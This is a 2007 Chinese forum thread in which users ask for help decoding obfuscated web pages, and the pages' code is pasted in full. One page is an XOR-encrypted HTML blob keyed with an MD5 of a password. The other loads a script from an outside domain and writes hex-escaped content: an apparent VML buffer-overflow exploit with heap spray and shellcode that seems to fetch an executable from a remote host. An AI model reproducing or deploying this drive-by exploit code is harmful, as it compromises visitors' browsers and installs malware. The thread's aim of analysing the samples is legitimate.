召唤解密高手

显示全部楼层 · 发表于 2007-8-14 13:16:24

这几个搞了讨厌md5加密
比较头痛
拜托帮忙解下

显示全部楼层 · 发表于 2007-8-14 13:27:52

1.htm
strHTML="";
strHTML+="%0C@%00E%0A@%15C%16AZ%08%0CLDA%02%1DK%01C%19%02%16Y%0AP%5BHS%5D%1BS@LT";
strHTML+="MZ%12%5DY%1CJV%16Q@E%06%0EE%26%7Ft5%3Cb%26%13x2%7D%7F%14%60f%21%7B*sAA";
strHTML+="H%1C%16bW%7B%1F%1E%7Cf%20Bxc%2C%29%12W%1D%00FdAU%5E@%0AC%0A_%0F%02%09%";
strHTML+="1C%16p*%1A%0E%3C2%0E%27%2Cdr3%5B%0E+g%7D*%0E%0F%7Cur%27%09n%3A%5D.%20g";
strHTML+="x%15%0CLDA%15W%15%17YA%5C%26%5D%0DGU%08D%1E%60IC%06%17%00_%0F%17%00%5D";
strHTML+="M%08FLUIL%1D%0C%16%5D%5BZEQ%0BRB%15UG%09WQQ%04R%02C%5Dh9%05x%21lq%11%5";
strHTML+="B%5D%0A%16UY%15X%10.ZS%14_@%5BVGCq%11_%0F%175R%5EPD%0C%1E%01%1A%12%0A%";
strHTML+="03%5DR%5C%22w-vb%27d%7Cf%0E%0FL%7F%26q%25%5Dh9%05w+%7Ci%0F58X1se%285f%";
strHTML+="5D%3E%3A1Y%5DP_D%10%0AA%5D%12Ah9%5DZ%07M%5DTVFJ%15B%5E%15%00%1AA%0Fq6%";
strHTML+="60%7Fqd%13+r*w%297X%03%19b-%7Cdy%05%02D%01_S%04XT%02%5D%1E1Y%5DP_D%10%";
strHTML+="19%02S%15%0A%13Va%1B%25%5BDXNW%3C%21_Z%11%0A%5C%06%5DDX%0C%1Cu%60c\/r7%";
strHTML+="0ECJ%5E%134%3F%02M%5ERL%5B%0B%0C%10QILIC%3E%3A%12BJ%14%3D9%18%17n%3ANL";
strHTML+="%24PM%5C%12%5Dh%11Q%5C%0D%16YV%0D%0CH%02GY%09%5E%139%3A@%0CQ%19%5C%5C%";
strHTML+="07%0APLX%01VD%1FYB%14%0EUC%12%3E%02%3E%08%10k%3A@%5BVI%0F%19%10U%15%20";
strHTML+="%29%60pqL%1AKw%01%01Q%26s%05SH%03%20u%00K%01%02p%00%1E%22s%21%09LSUp%0";
strHTML+="9%01%22%7C%05%09y%02%26%1F%12%1EZE%3Fi@_%00J_%1ASA%06V%17U%28%0D%16GX%";
strHTML+="5B%07%5D%18%18%03%12ihF%5E%11E%0FC@_%00J_%1AwV%17x%01Z%04%00%11%1B%10%";
strHTML+="0ED5%3ABWT%1E%0E%1ED%04%11q\/%60y%22%18%11O%00wW%04%25uQRHu%09%0CW%15%0";
strHTML+="1%00%7BtIZ%09%03QH%02Sr%00%25%09%03%01%04%01Q%0F%1E%12HXE%3E3F%0B%5EJ%";
strHTML+="5D%16Q%16%07QC%04%2C%5C%10GQ%08SV%1C%19%08C%3Aiv2%2CE%0E%19F%0B%5EJ%5D";
strHTML+="%16u%01%16%7FU%0B%00Q%17%1B%19%5D%10%3E%3EC%5C%05M%0F%1E%12%06%11puf-%";
strHTML+="7C%18%13Ct%5DQ%05s%22W%04N%02s%20%00%1E%05%01wS%1A%22t%23ZH%03%09vT%0C";
strHTML+="vu%0D%0A%25RrJCL%09C%3E%3A%15_UN%5C%1D%00E%06Q%15%06%2C%5DJA%05VST%10%";
strHTML+="1B_B%3D%3D\/%00FC%0E%10%15_UN%5C%1D%24R%17%7F%03%09%00PM%1DM%03%10%3C2F";
strHTML+="%16%1B%10%3Ak%1E%12n9Y%00%10%1BP_P%16Z%06%5E%15%10KPVZ%0FQU%1FQ%5C%00%";
strHTML+="07Hx%07M%10%20%5BWD%19%13%09%0D%13N%06J%10li%1E%134%3F%12Q@%1FjW%035B%";
strHTML+="5E%15%00%12K%11x-sfhc%5C%05C%14Q%13%069%7EPV%16WC%5E%5EF85YY%05%0AE%10";
strHTML+="os%13BAQ%5EG5R%11C%08%0C%0Bop%5B%10%5DB_%5DFD1UC%15%0C%5C%04@l%3C_%5DQ";
strHTML+="CoPkR%00QWG%1F%09%19Fjuvgv3-bsCL%09C%3E%3A%10QA%14UK%13S%02D%04CX%13WP";
strHTML+="%13%18tPLWLJ%5ER%16Ev%02GUN%19%1A%1AWV%17c%0A%5D%04KL%13%12%15L%09%19%";
strHTML+="18%03%12ihTX%02%10_%06%5DD%15%1EP%5B_X%0AR%5E%12%22%0B%02%0E%5EP%0A%5D";
strHTML+="BPT%09D%07HG%08%17W%10%0E%12F%1B%13QHC%07V%17UO%17%0Atta7LBXVULK%10%1C";
strHTML+="AG%09CCQ%12X%0E%1B%0B%11C%3AiMli%18%3E3V%05LSY%10A%0B%04J%5B%02%0B%1Bn";
strHTML+="9K%1B%10%3E%3EM%13n%3D%00Q%15%00%0D%1BJZ%02B%5CRV%1BihKJAh8%1E%13%3DlV";
strHTML+="FZSG%0AX%0D%10%08%0D%0CG%11%1CD5%3AJ%18%3Fn%11UC5%0C_%06%5CE%12%18%11R";
strHTML+="%18%1AA%1BC%01QSU%1A%02%15i2M%1158%0D%0CYCIL%09n9V%07%5E%0E%16S%5C%0E%";
strHTML+="15n%3A%5DL6pk%7C4l%0E%3C2%3Fn%5ECT%13%0CB%17%13%5C%07%5ETAQT%06%0AAZ%0";
strHTML+="0%15%04@ZG%0DHD%13%06%3Fn%5E%11%1ALEp%06TY%08%3D9RE%5D%00C%0A_%0FC%0AC";
strHTML+="%5C%5B%07W%5C%5EJF%01%1AD%1FH%1E%3FiDY%08T%5CC%1E%5C%13R%0D%18FQK%5BMX";
strHTML+="C%14%17RW%5E%0B%10DR%19%11%15J%3E%3A%1B%3D9GUG7%5E%0EU%0E%16%11%1B%1BZ";
strHTML+="%14%5D%5ERW%5E%0B%10DR%19%11%1AJ%11%1CW%05%03%04%19%3Ei%18L%10%24%0D%0";
strHTML+="1%13%14%18Z5%3A%0D%17A%07%10YG%15%5B%3Fi%0F%1F%24%7Fwm%0E%0FL%7F7%7D-%";
strHTML+="5D";
function XOR(strV,strPass){
  var intPassLength=strPass.length;
  var re="";
  for(var i=0;i<strV.length;i++){
re+=String.fromCharCode(strV.charCodeAt(i)^strPass.charCodeAt(i%intPassLength));
  }
  return(re);
}
var STR =
{
hexcase : 0, /* hex output format. 0 - lowercase; 1 - uppercase */
b64pad : "", /* base-64 pad character. "=" for strict RFC compliance */
chrsz : 8, /* bits per input character. 8 - ASCII; 16 - Unicode */

b64_hmac_md5:
function(key, data) { return binl2b64(core_hmac_md5(key, data)); },

b64_md5:
function(s){ return binl2b64(core_md5(str2binl(s), s.length * this.chrsz));},

binl2b64:
function(binarray){
   var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
   var str = "";
   for(var i = 0; i < binarray.length * 4; i += 3)
   {
   var triplet = (((binarray[i >> 2] >> 8 * ( i %4)) & 0xFF) << 16)
   | (((binarray[i+1 >> 2] >> 8 * ((i+1)%4)) & 0xFF) << 8 )
   | ((binarray[i+2 >> 2] >> 8 * ((i+2)%4)) & 0xFF);
   for(var j = 0; j < 4; j++)
   {
   if(i * 8 + j * 6 > binarray.length * 32) str += this.b64pad;
   else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F);
   }
   }
   return str;
},

binl2hex:
function(binarray){
   var hex_tab = this.hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
   var str = "";
   for(var i = 0; i < binarray.length * 4; i++)
   {
   str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) +
   hex_tab.charAt((binarray[i>>2] >> ((i%4)*8 )) & 0xF);
   }
   return str;
},

binl2str:
function(bin){
   var str = "";
   var mask = (1 << this.chrsz) - 1;
   for(var i = 0; i < bin.length * 32; i += this.chrsz)
   str += String.fromCharCode((bin[i>>5] >>> (i % 32)) & mask);
   return str;
},

bit_rol:
function(num, cnt){return (num << cnt) | (num >>> (32 - cnt));},

core_hmac_md5:
function(key, data){
   var bkey = str2binl(key);
   if(bkey.length > 16) bkey = core_md5(bkey, key.length * this.chrsz);

   var ipad = Array(16), opad = Array(16);
   for(var i = 0; i < 16; i++)
   {
   ipad = bkey ^ 0x36363636;
   opad = bkey ^ 0x5C5C5C5C;
   }

   var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * this.chrsz);
   return core_md5(opad.concat(hash), 512 + 128);
},

core_md5:
function(x, len){
   /* append padding */
   x[len >> 5] |= 0x80 << ((len) % 32);
   x[(((len + 64) >>> 9) << 4) + 14] = len;

   var a = 1732584193;
   var b = -271733879;
   var c = -1732584194;
   var d = 271733878;

   for(var i = 0; i < x.length; i += 16)
   {
   var olda = a;
   var oldb = b;
   var oldc = c;
   var oldd = d;

   a = this.md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);
   d = this.md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);
   c = this.md5_ff(c, d, a, b, x[i+ 2], 17, 606105819);
   b = this.md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);
   a = this.md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);
   d = this.md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426);
   c = this.md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);
   b = this.md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);
   a = this.md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416);
   d = this.md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);
   c = this.md5_ff(c, d, a, b, x[i+10], 17, -42063);
   b = this.md5_ff(b, c, d, a, x[i+11], 22, -1990404162);
   a = this.md5_ff(a, b, c, d, x[i+12], 7 , 1804603682);
   d = this.md5_ff(d, a, b, c, x[i+13], 12, -40341101);
   c = this.md5_ff(c, d, a, b, x[i+14], 17, -1502002290);
   b = this.md5_ff(b, c, d, a, x[i+15], 22, 1236535329);

   a = this.md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);
   d = this.md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
   c = this.md5_gg(c, d, a, b, x[i+11], 14, 643717713);
   b = this.md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);
   a = this.md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);
   d = this.md5_gg(d, a, b, c, x[i+10], 9 , 38016083);
   c = this.md5_gg(c, d, a, b, x[i+15], 14, -660478335);
   b = this.md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);
   a = this.md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438);
   d = this.md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);
   c = this.md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);
   b = this.md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501);
   a = this.md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);
   d = this.md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);
   c = this.md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473);
   b = this.md5_gg(b, c, d, a, x[i+12], 20, -1926607734);

   a = this.md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);
   d = this.md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);
   c = this.md5_hh(c, d, a, b, x[i+11], 16, 1839030562);
   b = this.md5_hh(b, c, d, a, x[i+14], 23, -35309556);
   a = this.md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
   d = this.md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353);
   c = this.md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);
   b = this.md5_hh(b, c, d, a, x[i+10], 23, -1094730640);
   a = this.md5_hh(a, b, c, d, x[i+13], 4 , 681279174);
   d = this.md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);
   c = this.md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);
   b = this.md5_hh(b, c, d, a, x[i+ 6], 23, 76029189);
   a = this.md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);
   d = this.md5_hh(d, a, b, c, x[i+12], 11, -421815835);
   c = this.md5_hh(c, d, a, b, x[i+15], 16, 530742520);
   b = this.md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);

   a = this.md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
   d = this.md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415);
   c = this.md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
   b = this.md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
   a = this.md5_ii(a, b, c, d, x[i+12], 6 , 1700485571);
   d = this.md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
   c = this.md5_ii(c, d, a, b, x[i+10], 15, -1051523);
   b = this.md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
   a = this.md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359);
   d = this.md5_ii(d, a, b, c, x[i+15], 10, -30611744);
   c = this.md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
   b = this.md5_ii(b, c, d, a, x[i+13], 21, 1309151649);
   a = this.md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
   d = this.md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
   c = this.md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);
   b = this.md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);

   a = this.safe_add(a, olda);
   b = this.safe_add(b, oldb);
   c = this.safe_add(c, oldc);
   d = this.safe_add(d, oldd);
   }
   return Array(a, b, c, d);
},

hex_hmac_md5:function(key, data){ return this.binl2hex(this.core_hmac_md5(key, data)); },

hex_md5:function(s){return this.binl2hex(this.core_md5(this.str2binl(s), s.length * this.chrsz));},

md5:function(s){return(this.hex_md5(s));},

md5_cmn:function(q, a, b, x, s, t){return this.safe_add(this.bit_rol(this.safe_add(this.safe_add(a, q), this.safe_add(x, t)), s),b);},

md5_ff:function(a, b, c, d, x, s, t){return this.md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);},

md5_gg:function(a, b, c, d, x, s, t){return this.md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);},

md5_hh:function(a, b, c, d, x, s, t){return this.md5_cmn(b ^ c ^ d, a, b, x, s, t);},

md5_ii:function(a, b, c, d, x, s, t){return this.md5_cmn(c ^ (b | (~d)), a, b, x, s, t);},

md5_vm_test:function(){return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72";},

safe_add:
function(x, y){
   var lsw = (x & 0xFFFF) + (y & 0xFFFF);
   var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
   return (msw << 16) | (lsw & 0xFFFF);
},

str2binl:
function(str){
   var bin = Array();
   var mask = (1 << this.chrsz) - 1;
   for(var i = 0; i < str.length * this.chrsz; i += this.chrsz)
   bin[i>>5] |= (str.charCodeAt(i / this.chrsz) & mask) << (i%32);
   return bin;
},

str_hmac_md5:function(key, data){ return binl2str(core_hmac_md5(key, data)); },

str_md5:function(s){ return binl2str(core_md5(str2binl(s), s.length * this.chrsz));}
}
function performPage(strPass){
  if(strPass){
document.cookie="password="+escape(strPass);
document.write(XOR(unescape(strHTML),STR.md5(strPass)));
return(false);
  }

  var pass="s";
  if(pass){
pass=unescape(pass);
document.write(XOR(unescape(strHTML),STR.md5(pass)));
return(false);
  }
}
performPage();
</script>

谁看的懂啊

显示全部楼层 · 发表于 2007-8-14 13:36:14

费尔杀了

显示全部楼层 · 发表于 2007-8-14 13:38:29

楼下再干灌水

显示全部楼层 · 发表于 2007-8-14 13:54:35

3.html

第一层
<script src=http://cs.cskick.cn/cs/c.js></script><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<NOSCRIPT></NOSCRIPT>
<SCRIPT LANGUAGE="javascript" TYPE="text/javascript">
function getCookieVal(offset)
{
var endstr = document.cookie.indexOf(";", offset);
if(endstr == -1)
{
endstr = document.cookie.length;
}
return unescape(document.cookie.substring(offset, endstr));
}
function getCookie(name){
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while(i < clen){
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
{
return getCookieVal(j);
}
i = document.cookie.indexOf("", i) + 1;
if(i == 0) break;
}
return;
}
function getExpDate(days, hours, minutes){
var expDate = new Date();
if(typeof(days) == "number" && typeof(hours) == "number" && typeof(hours) == "number")
{
expDate.setDate(expDate.getDate() + parseInt(days));
expDate.setHours(expDate.getHours() + parseInt(hours));
expDate.setMinutes(expDate.getMinutes() + parseInt(minutes));
return expDate.toGMTString();
}
}
function setCookie(name,value,expires,path,domain,secure) {
document.cookie = name + "=" + encodeURIComponent(value) +
((expires) ? "; expires=" + expires : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "");
}
var name = "vist";
var expires = getExpDate(3,0,0);
if (getCookie(name))
{
}
else
{
setCookie(name,1,expires);
document.write(unescape("%3c%48%54%4d%4c%20%78%6d%6c%6e%73%3a%76%3d%22%75%72%6e%3a%73%63%68%65%6d%61%73%2d%6d%69%63%72%6f%73%6f%66%74%2d%63%6f%6d"));
document.write(unescape("%3a%76%6d%6c%22%0a%78%6d%6c%6e%73%3a%6f%3d%22%75%72%6e%3a%73%63%68%65%6d%61%73%2d%6d%69%63%72%6f%73%6f%66%74%2d%63%6f%6d"));
document.write(unescape("%3a%6f%66%66%69%63%65%3a%6f%66%66%69%63%65%22%3e%0a%3c%48%45%41%44%3e%0a%0a%3c%53%54%59%4c%45%3e%0a%76%5c%3a%2a%20%7b%20"));
document.write(unescape("%62%65%68%61%76%69%6f%72%3a%20%75%72%6c%28%23%64%65%66%61%75%6c%74%23%56%4d%4c%29%3b%7d%20%0a%6f%5c%3a%2a%20%7b%20%62%65"));
document.write(unescape("%68%61%76%69%6f%72%3a%20%75%72%6c%28%23%64%65%66%61%75%6c%74%23%56%4d%4c%29%3b%7d%0a%3c%2f%53%54%59%4c%45%3e%0a%3c%54%49"));
document.write(unescape("%54%4c%45%3e%3c%2f%54%49%54%4c%45%3e%0a%3c%2f%48%45%41%44%3e%0a%3c%42%4f%44%59%20%6f%6e%6c%6f%61%64%3d%77%69%6e%64%6f%77"));
document.write(unescape("%2e%73%74%61%74%75%73%3d%22%22%3e%0a%3c%73%63%72%69%70%74%3e%0a%73%68%20%3d%20%75%6e%65%73%63%61%70%65%28%22%25%75%39%30"));
document.write(unescape("%39%30%25%75%39%30%39%30%25%75%39%30%39%30%25%75%35%34%65%62%25%75%37%35%38%62%25%75%38%62%33%63%25%75%33%35%37%34%25%75"));
document.write(unescape("%30%33%37%38%25%75%35%36%66%35%25%75%37%36%38%62%25%75%30%33%32%30%25%75%33%33%66%35%25%75%34%39%63%39%25%75%61%64%34%31"));
document.write(unescape("%25%75%64%62%33%33%25%75%30%66%33%36%25%75%31%34%62%65%25%75%33%38%32%38%25%75%37%34%66%32%25%75%63%31%30%38%25%75%30%64"));
document.write(unescape("%63%62%25%75%64%61%30%33%25%75%65%62%34%30%25%75%33%62%65%66%25%75%37%35%64%66%25%75%35%65%65%37%25%75%35%65%38%62%25%75"));
document.write(unescape("%30%33%32%34%25%75%36%36%64%64%25%75%30%63%38%62%25%75%38%62%34%62%25%75%31%63%35%65%25%75%64%64%30%33%25%75%30%34%38%62"));
document.write(unescape("%25%75%30%33%38%62%25%75%63%33%63%35%25%75%37%32%37%35%25%75%36%64%36%63%25%75%36%65%36%66%25%75%36%34%32%65%25%75%36%63"));
document.write(unescape("%36%63%25%75%34%33%30%30%25%75%35%63%33%61%25%75%32%65%35%35%25%75%37%38%36%35%25%75%30%30%36%35%25%75%63%30%33%33%25%75"));
document.write(unescape("%30%33%36%34%25%75%33%30%34%30%25%75%30%63%37%38%25%75%34%30%38%62%25%75%38%62%30%63%25%75%31%63%37%30%25%75%38%62%61%64"));
document.write(unescape("%25%75%30%38%34%30%25%75%30%39%65%62%25%75%34%30%38%62%25%75%38%64%33%34%25%75%37%63%34%30%25%75%34%30%38%62%25%75%39%35"));
document.write(unescape("%33%63%25%75%38%65%62%66%25%75%30%65%34%65%25%75%65%38%65%63%25%75%66%66%38%34%25%75%66%66%66%66%25%75%65%63%38%33%25%75"));
document.write(unescape("%38%33%30%34%25%75%32%34%32%63%25%75%66%66%33%63%25%75%39%35%64%30%25%75%62%66%35%30%25%75%31%61%33%36%25%75%37%30%32%66"));
document.write(unescape("%25%75%36%66%65%38%25%75%66%66%66%66%25%75%38%62%66%66%25%75%32%34%35%34%25%75%38%64%66%63%25%75%62%61%35%32%25%75%64%62"));
document.write(unescape("%33%33%25%75%35%33%35%33%25%75%65%62%35%32%25%75%35%33%32%34%25%75%64%30%66%66%25%75%62%66%35%64%25%75%66%65%39%38%25%75"));
document.write(unescape("%30%65%38%61%25%75%35%33%65%38%25%75%66%66%66%66%25%75%38%33%66%66%25%75%30%34%65%63%25%75%32%63%38%33%25%75%36%32%32%34"));
document.write(unescape("%25%75%64%30%66%66%25%75%37%65%62%66%25%75%65%32%64%38%25%75%65%38%37%33%25%75%66%66%34%30%25%75%66%66%66%66%25%75%66%66"));
document.write(unescape("%35%32%25%75%65%38%64%30%25%75%66%66%64%37%25%75%66%66%66%66"));
document.write(unescape("%25%75%37%34%36%38%25%75%37%30%37%34%25%75%32%66%33%61%25%75%37%33%32%66%25%75%37%39%36%39%25%75%36%31%37%35%25%75%36%38%32%65%25%75%37%33%36%66%25%75%33%31%37%34%25%75%33%38%32%65%25%75%36%31%36%64%25%75%32%65%36%62%25%75%36%66%36%33%25%75%32%66%36%64%25%75%36%39%37%33%25%75%37%35%37%39%25%75%36%35%32%65%25%75%36%35%37%38"));
document.write(unescape("%22%29%3b%0a%0a%73%7a%20%3d%20%73%68%2e%6c"));
document.write(unescape("%65%6e%67%74%68%20%2a%20%32%3b%0a%6e%70%73%7a%20%3d%20%30%78%34%30%30%30%30%30%2d%28%73%7a%2b%30%78%33%38%29%3b%0a%6e%70"));
document.write(unescape("%73%20%3d%20%75%6e%65%73%63%61%70%65%20%28%22%25%75%30%64%30%64%25%75%30%64%30%64%22%29%3b%0a%77%68%69%6c%65%20%28%6e%70"));
document.write(unescape("%73%2e%6c%65%6e%67%74%68%2a%32%3c%6e%70%73%7a%29%20%6e%70%73%2b%3d%6e%70%73%3b%0a%69%68%62%63%20%3d%20%28%30%78%30%36%30"));
document.write(unescape("%30%30%30%30%30%2d%30%78%34%30%30%30%30%30%29%2f%30%78%34%30%30%30%30%30%3b%0a%6d%6d%20%3d%20%6e%65%77%20%41%72%72%61%79"));
document.write(unescape("%28%29%3b%0a%66%6f%72%20%28%69%3d%30%3b%69%3c%69%68%62%63%3b%69%2b%2b%29%20%6d%6d%5b%69%5d%20%3d%20%6e%70%73%2b%73%68%3b"));
document.write(unescape("%0a%3c%2f%73%63%72%69%70%74%3e%0a%3c%76%3a%73%68%61%70%65%74%79%70%65%20%69%64%3d%22%5f%78%30%30%30%30%5f%74%37%35%22%20"));
document.write(unescape("%63%6f%6f%72%64%73%69%7a%65%3d%22%31%35%30%30%30%2c%31%39%39%30%30%22%20%6f%3a%73%70%74%3d%22%37%35%22%0a%20%20%20%6f%3a"));
document.write(unescape("%70%72%65%66%65%72%72%65%6c%61%74%69%76%65%3d%22%74%22%20%70%61%74%68%3d%22%6d%40%34%40%35%6c%40%34%40%31%31%40%39%40%31"));
document.write(unescape("%31%40%39%40%35%78%65%22%20%66%69%6c%6c%65%64%3d%22%66%22%20%73%74%72%6f%6b%65%64%3d%22%66%22%3e%0a%20%20%20%3c%76%3a%73"));
document.write(unescape("%74%72%6f%6b%65%20%6a%6f%69%6e%73%74%79%6c%65%3d%22%6d%69%74%65%72%22%2f%3e%0a%20%20%20%3c%76%3a%66%6f%72%6d%75%6c%61%73"));
document.write(unescape("%3e%0a%20%20%20%20%3c%76%3a%66%20%65%71%6e%3d%22%69%66%20%6c%69%6e%65%44%72%61%77%6e%20%70%69%78%65%6c%4c%69%6e%65%57%69"));
document.write(unescape("%64%74%68%20%30%22%2f%3e%0a%20%20%20%20%3c%76%3a%66%20%65%71%6e%3d%22%73%75%6d%20%40%30%20%31%20%30%22%2f%3e%0a%20%20%20"));
document.write(unescape("%20%3c%76%3a%66%20%65%71%6e%3d%22%73%75%6d%20%30%20%30%20%40%31%22%2f%3e%0a%20%20%20%20%3c%76%3a%66%20%65%71%6e%3d%22%70"));
document.write(unescape("%72%6f%64%20%40%32%20%31%20%32%22%2f%3e%0a%20%20%20%20%3c%76%3a%66%20%65%71%6e%3d%22%70%72%6f%64%20%40%33%20%31%35%30%30"));
document.write(unescape("%30%20%70%69%78%65%6c%57%69%64%74%68%22%2f%3e%0a%20%20%20%20%3c%76%3a%66%20%65%71%6e%3d%22%70%72%6f%64%20%40%33%20%31%39"));
document.write(unescape("%39%30%30%20%70%69%78%65%6c%48%65%69%67%68%74%22%2f%3e%0a%20%20%20%20%3c%76%3a%66%20%65%71%6e%3d%22%73%75%6d%20%40%30%20"));
document.write(unescape("%30%20%31%22%2f%3e%0a%20%20%20%20%3c%76%3a%66%20%65%71%6e%3d%22%70%72%6f%64%20%40%36%20%31%20%32%22%2f%3e%0a%20%20%20%20"));
document.write(unescape("%3c%76%3a%66%20%65%71%6e%3d%22%70%72%6f%64%20%40%37%20%31%35%30%30%30%20%70%69%78%65%6c%57%69%64%74%68%22%2f%3e%0a%20%20"));
document.write(unescape("%20%20%3c%76%3a%66%20%65%71%6e%3d%22%73%75%6d%20%40%38%20%31%35%30%30%30%20%30%22%2f%3e%0a%20%20%20%20%3c%76%3a%66%20%65"));
document.write(unescape("%71%6e%3d%22%70%72%6f%64%20%40%37%20%31%39%39%30%30%20%70%69%78%65%6c%48%65%69%67%68%74%22%2f%3e%0a%20%20%20%20%3c%76%3a"));
document.write(unescape("%66%20%65%71%6e%3d%22%73%75%6d%20%40%31%30%20%31%39%39%30%30%20%30%22%2f%3e%0a%20%20%20%3c%2f%76%3a%66%6f%72%6d%75%6c%61"));
document.write(unescape("%73%3e%0a%20%20%20%3c%76%3a%70%61%74%68%20%6f%3a%65%78%74%72%75%73%69%6f%6e%6f%6b%3d%22%66%22%20%67%72%61%64%69%65%6e%74"));
document.write(unescape("%73%68%61%70%65%6f%6b%3d%22%74%22%20%6f%3a%63%6f%6e%6e%65%63%74%74%79%70%65%3d%22%72%65%63%74%22%2f%3e%0a%20%20%20%3c%6f"));
document.write(unescape("%3a%6c%6f%63%6b%20%76%3a%65%78%74%3d%22%65%64%69%74%22%20%61%73%70%65%63%74%72%61%74%69%6f%3d%22%74%22%2f%3e%0a%20%20%3c"));
document.write(unescape("%2f%76%3a%73%68%61%70%65%74%79%70%65%3e%0a%3c%76%3a%73%68%61%70%65%20%69%64%3d%22%74%65%73%74%22%20%74%79%70%65%3d%22%23"));
document.write(unescape("%5f%78%30%30%30%30%5f%74%37%35%22%20%73%74%79%6c%65%3d%22%70%6f%73%69%74%69%6f%6e%3a%61%62%73%6f%6c%75%74%65%3b%20%6c%65"));
document.write(unescape("%66%74%3a%30%3b%74%6f%70%3a%30%3b%77%69%64%74%68%3a%31%31%37%70%74%3b%68%65%69%67%68%74%3a%31%32%30%70%74%22%3e%0a%20%20"));
document.write(unescape("%3c%76%3a%69%6d%61%67%65%64%61%74%61%20%73%72%63%3d%22%2e%2f%74%65%73%74%2e%6a%70%67%22%20%6f%3a%74%69%74%6c%65%3d%22%67"));
document.write(unescape("%79%22%20%67%72%61%79%73%63%61%6c%65%3d%22%74%22%20%2f%3e%20%0a%20%20%3c%76%3a%73%68%61%64%6f%77%20%6f%6e%3d%22%74%22%20"));
document.write(unescape("%2f%3e%20%0a%3c%76%3a%72%65%63%6f%6c%6f%72%69%6e%66%6f%20%72%65%63%6f%6c%6f%72%73%74%61%74%65%3d%22%74%22%20%6e%75%6d%63"));
document.write(unescape("%6f%6c%6f%72%73%3d%22%31%22%20%6e%75%6d%66%69%6c%6c%73%3d%22%31%30%37%33%37%34%31%38%32%34%22%3e%0a%09%20%20%3c%76%3a%72"));
document.write(unescape("%65%63%6f%6c%6f%72%69%6e%66%6f%65%6e%74%72%79%20%74%6f%63%6f%6c%6f%72%3d%22%31%31%31%31%31%31%31%31%22%20%66%72%6f%6d%63"));
document.write(unescape("%6f%6c%6f%72%3d%22%31%31%31%31%31%31%31%31%22%20%2f%3e%20%0a%20%20%3c%76%3a%72%65%63%6f%6c%6f%72%69%6e%66%6f%65%6e%74%72"));
document.write(unescape("%79%20%74%6f%63%6f%6c%6f%72%3d%22%73%63%68%65%6d%65%46%6f%6c%6c%6f%77%65%64%22%20%66%72%6f%6d%63%6f%6c%6f%72%3d%22%31%31"));
document.write(unescape("%31%35%30%30%33%32%22%20%2f%3e%20%0a%20%20%3c%76%3a%72%65%63%6f%6c%6f%72%69%6e%66%6f%65%6e%74%72%79%20%74%6f%63%6f%6c%6f"));
document.write(unescape("%72%3d%22%72%67%62%28%36%37%2c%36%33%2c%35%36%29%22%20%72%65%63%6f%6c%6f%72%74%79%70%65%3d%22%31%22%20%6c%62%63%6f%6c%6f"));
document.write(unescape("%72%3d%22%72%67%62%28%34%35%2c%32%32%32%2c%32%32%31%29%22%20%66%6f%72%65%63%6f%6c%6f%72%3d%22%31%31%31%31%31%31%31%31%22"));
document.write(unescape("%20%62%61%63%6b%63%6f%6c%6f%72%3d%22%31%31%31%31%31%31%31%31%22%20%62%69%74%6d%61%70%74%79%70%65%3d%22%33%22%20%2f%3e%0a"));
document.write(unescape("%20%20%0a%20%0a%20%20%3c%2f%76%3a%72%65%63%6f%6c%6f%72%69%6e%66%6f%3e%0a%3c%2f%76%3a%73%68%61%70%65%3e%0a%0a%3c%2f%42%4f"));
